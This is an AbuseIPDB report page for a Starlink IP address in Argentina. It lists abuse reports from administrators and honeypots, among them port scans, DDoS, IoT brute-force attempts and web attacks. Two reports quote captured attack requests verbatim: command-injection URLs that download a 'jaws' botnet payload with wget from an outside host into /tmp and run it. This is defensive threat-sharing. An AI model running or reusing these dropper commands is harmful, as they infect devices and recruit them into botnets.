JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 129.224.215.244

129.224.215.244 was found in our database!

This IP was reported 19 times. Confidence of Abuse is 30%: ?

30%

ISP	SpaceX Services, Inc.
Usage Type	Fixed Line ISP
ASN	AS14593
Hostname(s)	customer.bnssarg1.isp.starlink.com
Domain Name	spacex.com
Country	🇦🇷 Argentina
City	Buenos Aires, Buenos Aires F.D.

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 129.224.215.244

Whois 129.224.215.244

IP Abuse Reports for 129.224.215.244:

This IP address has been reported a total of 19 times from 15 distinct sources. 129.224.215.244 was first reported on October 14th 2025, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇵🇱 wikdomain	2026-07-02 14:53:48 (1 week ago)	WEB Remote Command Execution via Shell Script -1.a Attack at 2026-05-29 05:37:28 GMT, Source: 129.22 ... show more WEB Remote Command Execution via Shell Script -1.a Attack at 2026-05-29 05:37:28 GMT, Source: 129.224.215.244, Destination: 192.168.1.52. Reported at 2026-07-02 14:53:48 GMT show less	Web App Attack Brute-Force
🇺🇸 kosada.com	2026-06-29 14:28:07 (1 week ago)	Web bot: denial-of-service flood	DDoS Attack Bad Web Bot
🇩🇪 botreporter	2026-06-29 11:25:50 (1 week ago)	botnet ignoring robots.txt	Bad Web Bot
🇫🇷 geot	2026-05-30 15:31:19 (1 month ago)	GET /login.cgi?cli=aa%20aa%27;wget%20http://140.233.190.<<removed>>/dlink%20-O%20-%3E%20/tmp/kh;sh%2 ... show more GET /login.cgi?cli=aa%20aa%27;wget%20http://140.233.190.<<removed>>/dlink%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1 show less	Hacking Exploited Host Web App Attack
🇬🇧 PeravixGroup	2026-05-29 07:16:12 (1 month ago)	Honeypot detection: Android Debug Bridge (ADB) unauthorized access attempt on port 5555. Severity: M ... show more Honeypot detection: Android Debug Bridge (ADB) unauthorized access attempt on port 5555. Severity: MEDIUM. Aaran.cloud show less	IoT Targeted Hacking
🇧🇷 SOC PR	2026-05-29 06:56:44 (1 month ago)	IPS: RCE attempt via web shell endpoint with JAWS malware dropper. Attempt to download and execute J ... show more IPS: RCE attempt via web shell endpoint with JAWS malware dropper. Attempt to download and execute JAWS botnet payload. User-Agent: terrabot-owned-you. show less	Web App Attack
🇫🇷 centurion	2026-05-29 05:00:38 (1 month ago)	Blocked by UFW on dc00 [80/tcp] Source port: 47459 TTL: 50 Packet length: 40 TOS: 0x00 This report ... show more Blocked by UFW on dc00 [80/tcp] Source port: 47459 TTL: 50 Packet length: 40 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
🇮🇹 Inartis	2026-05-29 04:17:15 (1 month ago)	129.224.215.244 - - [29/May/2026:04:17:14 +0000] "GET /shell?cd+/tmp;rm+-rf+;wget+ 140.233.190.47/j ... show more 129.224.215.244 - - [29/May/2026:04:17:14 +0000] "GET /shell?cd+/tmp;rm+-rf+;wget+ 140.233.190.47/jaws;chmod+777+jaws;sh+jaws;./jaws;" 400 392 "-" "-" ... show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2026-05-08 01:37:50 (2 months ago)	Unauthorized connection attempt on Port 23	Port Scan Hacking Exploited Host
🇬🇧 PeravixGroup	2026-05-07 13:11:44 (2 months ago)	Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: ME ... show more Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: MEDIUM. Aaran.cloud show less	IoT Targeted Brute-Force
🇩🇪 Admins@FBN	2026-05-07 11:24:02 (2 months ago)	FW-PortScan: Traffic Blocked srcport=38404 dstport=23	Port Scan
🇮🇹 A000Z	2026-03-15 00:28:55 (3 months ago)	Fail2Ban: 129.224.215.244 was banned for Aggressive Bad Bot detected by Nginx/Fail2Ban. UA: Mozilla/ ... show more Fail2Ban: 129.224.215.244 was banned for Aggressive Bad Bot detected by Nginx/Fail2Ban. UA: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 kosada.com	2026-02-10 16:29:38 (5 months ago)	Web bot: DDoS	DDoS Attack Bad Web Bot
🇺🇸 TPI-Abuse	2026-02-09 10:46:49 (5 months ago)	(mod_security) mod_security (id:210730) triggered by 129.224.215.244 (customer.bnssarg1.pop.starlink ... show more (mod_security) mod_security (id:210730) triggered by 129.224.215.244 (customer.bnssarg1.pop.starlinkisp.net): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Feb 09 05:46:42.208968 2026] [security2:error] [pid 22838:tid 22838] [client 129.224.215.244:30817] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy\|\|kevinfranz.com\|F\|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "kevinfranz.com"] [uri "/perissosdigitalmarketing.com"] [unique_id "aYm7Eo2PK0rwLqigIPVerQAAAAo"], referer: https://kevinfranz.com/ show less	Brute-Force Bad Web Bot Web App Attack
🇨🇦 polycoda	2025-12-13 14:55:15 (6 months ago)	🥶 Part of massive botnet scraping campaign that nearly turned into a DDoS on 2025-11-27	DDoS Attack

Showing 1 to 15 of 19 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 117.43.189.106

🇺🇸 65.49.1.99

🇧🇪 62.235.67.42

🇩🇪 57.129.68.23

🇳🇱 51.158.205.203

🇨🇴 45.238.181.19

🇺🇸 40.124.173.173

🇷🇺 178.49.86.80

🇵🇱 176.53.159.198

🇺🇸 162.216.149.86

🇮🇳 139.59.68.31

🇳🇱 89.21.67.143

🇺🇸 192.81.210.47

🇺🇸 142.93.64.197

🇨🇳 116.167.6.225

🇺🇸 107.151.202.180

🇸🇬 103.250.11.63

🇺🇸 98.83.117.6

🇺🇸 34.23.184.199

🇺🇸 20.65.193.83